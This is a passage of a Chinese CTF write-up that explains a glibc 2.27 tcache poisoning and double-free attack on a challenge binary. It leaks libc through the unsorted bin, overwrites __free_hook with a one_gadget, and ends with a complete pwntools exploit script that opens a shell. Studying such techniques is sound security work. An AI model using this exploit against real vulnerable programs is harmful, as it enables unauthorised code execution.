0x90 [ 7]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96) —▸ 0x55555575a3f0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555575a2c0
smallbins
empty
largebins
empty

因为tcache机制的原因,只有第八次释放才会把chunk放到unsortedbin中,所以fake_chunk的fd和bk指针指向的都是0x7ffff7dcfca0 (main_arena+96) ,利用show函数的打印功能,能得到libc的地址,再减去main_arena+96距离基址的偏移就是libc基址。

执行打印函数之后就会打印出libc的地址。

为getshell做准备

计算函数地址

payload使用的是one_gadget,所以需要计算__free_hook函数的地址。

1
2
3
4
5
free_hook = libc.symbols['__free_hook']

log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))

申请可用内存到__free_hook

部分payload:

1
2
3
4
5
6
7
8
add('A'*8) # count = 0
#gdb.attach(p)
free()
free()

# Overwrite __free_hook with system
add(p64(free_hook))
add(p64(0))

申请前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> bin
tcachebins
0x50 [ 1]: 0x55555575a270 ◂— 'AAAAAAAA'
0x90 [ 7]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96) —▸ 0x55555575a3f0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555575a2c0
smallbins
empty
largebins
empty

申请后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> bin
tcachebins
0x50 [ 0]: 0x4141414141414141 ('AAAAAAAA')
0x90 [ 7]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96) —▸ 0x55555575a3f0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555575a2c0
smallbins
empty
largebins
empty

可以看出0x55555575a270地址处的chunk被分配了。

image-20230814222235889

再执行两次free,查看内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> bins
tcachebins
0x50 [ 2]: 0x55555575a270 ◂— 0x55555575a270
0x90 [ 7]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96) —▸ 0x55555575a3f0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x55555575a2c0
smallbins
empty
largebins
empty

又回到了tcache_attack dup。

然后执行

add(p64(free_hook))覆盖bin中的chunk的next指针为__free_hook区域

执行完add(p64(free_hook))时:

image-20230814222855096

执行完add(p64(0))之后:

image-20230814223025865

向__free_hook中写入one_gadget

先查询一下本机的onegadget:

1
2
3
4
5
6
7
8
9
10
11
12
root@ubuntu:~/CTF-PWN/Tcache Poisoning and dup# one_gadget libc-2.27.so
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

此时,tcachebins中只有__free_hook,所以再次申请就可以控制__free_hook:

1
2
3
one_gadget=[0x4f365,0x4f3c2,0x10a45c]#这是我本机上的one_gadget,需要验证试一试
payload=one_gadget[0]+libc.address
add(p64(payload))

getshell

执行free函数即可调用one_gadget从而getshell

1
2
3
free()

p.interactive()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*

p = process('./one')

libc = ELF('./libc-2.27.so')

def add(content):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', content)

def show():
p.sendlineafter('> ', '2')

def free():
p.sendlineafter('> ', '3')

#context.terminal = ['tmux', 'splitw', '-h']
p = process('./one')
#gdb.attach(proc.pidof(p)[0], gdbscript="b 25")

add('A'*0x3e)
#gdb.attach(p)
# We do four frees to set the 0x40 tcache bin count to 4
for i in range(4):
free()
#gdb.attach(p)
#gdb.attach(p)
# Leak the fourth chunk's address on the heap
show()

heap_leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heap_leak))

# ----------- Libc Leak ------------
# Empty the 0x40 tcache bin first
add(p64(0) + 'A'*8) # Set FD to null here

add('A'*8) # 0x40 tcache bin now empty

# Note that after the above, the 0x40 tcache bin will have count = 2

# Create four chunks to prep for libc leak
# Make all of them have fake chunks in them with PREV_INUSE bits set
# And make all of them have valid FD pointers as well
for i in range(4):
add((p64(heap_leak) + p64(0x91)) * 3)

# Double free the last chunk
free() # count = 3
free() # count = 4

# Set FD to one of the fake 0x91 chunks
add(p64(heap_leak + 0x60)) # count = 3

add('A'*8) # count = 2

add('A'*8) # Got a 0x91 chunk, count = 1
# Free 7 times to fill up tcache bin, 8th one goes into unsorted bin
for i in range(8):
free()

# Unsorted bin libc leak
show()
leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb
free_hook = libc.symbols['__free_hook']

log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))

# Tcache poisoning attack to overwrite __free_hook with system
add('A'*8) # count = 0
#gdb.attach(p)
free()
free()

# Overwrite __free_hook with system
add(p64(free_hook))
add(p64(0))
#gdb.attach(p)

#add(p64(system))
one_gadget=[0x4f365,0x4f3c2,0x10a45c]
payload=one_gadget[1]+libc.address
add(p64(payload))

# Call system("/bin/sh\x00")
#add('/bin/sh\x00')
free()

p.interactive()